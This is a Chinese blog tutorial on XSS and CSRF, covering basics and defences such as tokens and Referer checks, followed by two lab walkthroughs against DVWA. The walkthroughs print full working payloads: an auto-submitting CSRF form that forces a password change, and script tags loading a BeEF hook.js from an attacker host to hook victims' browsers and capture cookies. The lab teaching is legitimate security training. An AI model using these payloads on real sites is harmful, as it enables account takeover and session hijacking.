学习 xss+csrf 组合拳

目录

1.xss基础铺垫

1.1反射型xss

1.2存储型xss

1.3基于DOM的xss

1.4xss漏洞的危害

1.5xss漏洞的黑盒测试

1.6xss漏洞的白盒测试 

2.csrf基础铺垫

2.1csrf攻击原理

2.2csrf攻击防护

3.应用案例

3.1存储型xss+csrf组合拳

3.2csrf+selfxss组合拳


1.xss基础铺垫

跨站脚本攻击 XSS(Cross Site Scripting) ,为了不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆,故将跨站脚本攻击缩写为XSS 。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页之时,嵌入其中Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。 XSS 攻击针对的是用户层面的攻击!

1.1反射型xss

反射型 XSS 是非持久性、参数型的跨站脚本。反射型 XSS JS 代码在 Web 应用的参数(变量)中,如搜索框的反射型XSS 。在搜索框中,提交POC [scriptalert(/xss/)/script] ,点击搜索,即可触发反射型 XSS。 注意到,我们提交的POC 会出现在 search.php 页面的 keywords 参数中。

POC(Proof of Concept)是指概念证明或原型验证。在网络安全领域,POC通常是指一个漏洞利用的示例代码或者一个漏洞被发现后的验证方法,以证明该漏洞确实存在,并且可以被攻击者利用。因此,CSRF的POC通常是指漏洞利用的代码或者步骤,用于证明该漏洞的存在和危害性。

1.2存储型xss

存储型 XSS 是持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数(变量)中,而是写进数据库或 文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将 恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的 JS 代 码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的 XSS 代码,才能真正触发 XSS 。 此时,需要我们模拟网站后台管理员的身份,查看留言。

 

1.3基于DOM的xss

DOM XSS 比较特殊。 owasp 关于 DOM 型号 XSS 的定义是基于 DOM XSS 是一种 XSS 攻击,其中攻击 的payload 由于修改受害者浏览器页面的 DOM 树而执行的。其特殊的地方就是 payload 在 浏览器本地修 改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。

1.4xss漏洞的危害

1.5xss漏洞的黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下 面这些:
URL 的每一个参数、 URL 本身、表单、搜索框、常见业务场景
重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等

1.6xss漏洞的白盒测试 

关于 XSS 的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP 中常见的接收参数的方式有 $ GET $ POST $_REQUEST 等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。
也可以搜索类似 echo 这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等

2.csrf基础铺垫

CSRF(Cross-site request forgery) 是跨站请求伪造的缩写。它是一种Web漏洞,当用户的浏览器在未经其知情或同意的情况下代表用户向网站发送未经授权的请求时,就会发生这种漏洞。如果用户访问恶意网站或单击电子邮件或消息中的链接,将其带到具有隐藏表单的站点,该表单会提交一个请求到目标网站。

2.1csrf攻击原理

CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。

2.2csrf攻击防护

1. 只使用JSON API

使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF攻击。

2. 验证HTTP Referer字段

根据 HTTP协议,在 HTTP头中有一个字段叫Referer,它记录了该HTTP请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如上文中用户User想要在网站WebA中进行转账操作,那么用户User必须先登录WabA 然后再通过点击页面上的按钮触发转账事件。

这时该转帐请求的 Referer值就会是转账按钮所在的页面的URL,而如果黑客要对银行网站实施 CSRF攻击,他只能在他自己的网站构造请求,当用户User通过黑客的网站发送请求到WebA时,该请求的 Referer 是指向黑客自己的网站。 因此,要防御CSRF攻击,网站WebA只需要对于每一个转账请求验证其Referer值,如果是以网站WebA的网址开头的域名,则说明该请求是来自WebA自己的请求,是合法的。如果Referer是其他网站的话,则有可能是黑客的CSRF攻击,拒绝该请求。

3. 在请求地址中添加token验证

服务端生成了一个token         dsadadarqewajafjoenfeanf

CSRF攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于cookie中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的cookie来通过安全验证。要抵御CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于cookie之中。可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。 这种方法要比检查 Referer 要安全一些,token可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token从session中拿出,与请求中的token进行比对。

3.应用案例

靶场环境:

DVWA:192.168.125.115

攻击者:192.168.125.242

beef-kail:192.168.125.212

组合拳思路

第一拳:存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)

第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)

3.1存储型xss+csrf组合拳

1、构造 POC

a、构造 CSRF 代码

这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。

本文所使用的 CSRF POC 便是基于CSRFTester生成的POC。

继续来看,咱们需要首先为浏览器设置 8008 (因为CSRFTester工具监听的是8008端口)代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.

 

打开CSRFTester的流量记录功能 

开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。

之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。

增加倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。

 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "32" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://192.168.125.115:80/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">
<input type="hidden" name="password_new" value="666666"/>
<input type="hidden" name="password_conf" value="666666"/>
<input type="hidden" name="Change" value="Change" />
</form>

</body>
</html>

b、构造 XSS 代码

<script src="x" onerror=javascript:window.open("http://192.168.125.242/csrf.html")></script>

2、 开工

在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。

在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500.

 点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.

将我们构造好的POC,放在黑客的WEB服务器上。 我们就是黑客~嘿嘿嘿

访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。  

总结:

第一拳:将csrf链接插入存储性xss代码中,利用存储性xss漏洞,将攻击代码上传至存储性xss模块。然后使用别的浏览器正常用户,登录正常网站,访问存储性xss模块,代码就会自动执行。
执行效果:代码会让正常用户在登录的状态下,访问黑客的web服务器上我们构造好的poc。

poc内容:让正常用户去正常网站进行密码修改(该密码为黑客所要求用户浏览器更改的密码)的操作。
感受:用户全程无感知,利用正常网站对浏览器的信任,黑客让浏览器执行让网站认为正常的操作,实际是黑客的意愿。因为与存储型xss结合,所以每访问一次,攻击代码就执行一次。

3.2csrf+selfxss组合拳

selfxss:毋庸置疑是用户自己的界面,就算想要获取cookie值等信息,那也只能自己获取自己的,没有什么实际作用;

csrf由于防御措施,也无法独自出台;

但是,当两者结合在一块,就可以实现变废为宝的操作。让我们继续往下看:

1、构造 POC

a、构造 XSS 代码

我这里使用 beef 作为 XSS 平台,也可以使用xsshunter等

<script src="http://192.168.125.212:3000/hook.js"></script>

b、构造 CSRF 代码

这里继续使用 CSRFTester 工具生成 CSRF POC。

直接放上CSRFTester工具自动生成的poc

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "36" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://192.168.125.115:80/vulnerabilities/xss_r/?name=<script src='http://192.168.125.212:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.125.212:3000/hook.js'>"/> 
</form>

</body>
</html>

将上面代码放到黑客Web服务器(192.168.125.242)中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。

http://192.168.125.242/csrf.html

上述为受害者在登录正常网站的同时,点击了我们发给他的恶意链接,然后查看beef,发现已经上线成功。 

 正常用户为1337,密码为222222,我们可以通过1337与http://192.168.125.115网站的cookie值,和我们在beef中拿到的cookie值对比,发现一致,证明攻击成功。

 不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.

总结:

第二拳:将selfxss代码插入csrf链接中,将构造的含有beef的xss代码插入到反射性漏洞模块,利用csrftester工具进行构造poc,修改,然后让正常用户在访问正常网站的情况下,诱导用户打开我们所构造的链接,用户就会主动向我们的beef服务器发起连接,在beef服务器上就可以看到我们的受害者已经上线,可以查看正常用户与正常网站之间cookie等信息。
感受:需要构造一条链接,诱导受害者去点击,但是这样的漏洞只能触发一次,当然触发一次就足够了。

平时挖洞的时候利用好组合拳,那么效果可能会事半功倍。  

  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shadow_58

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值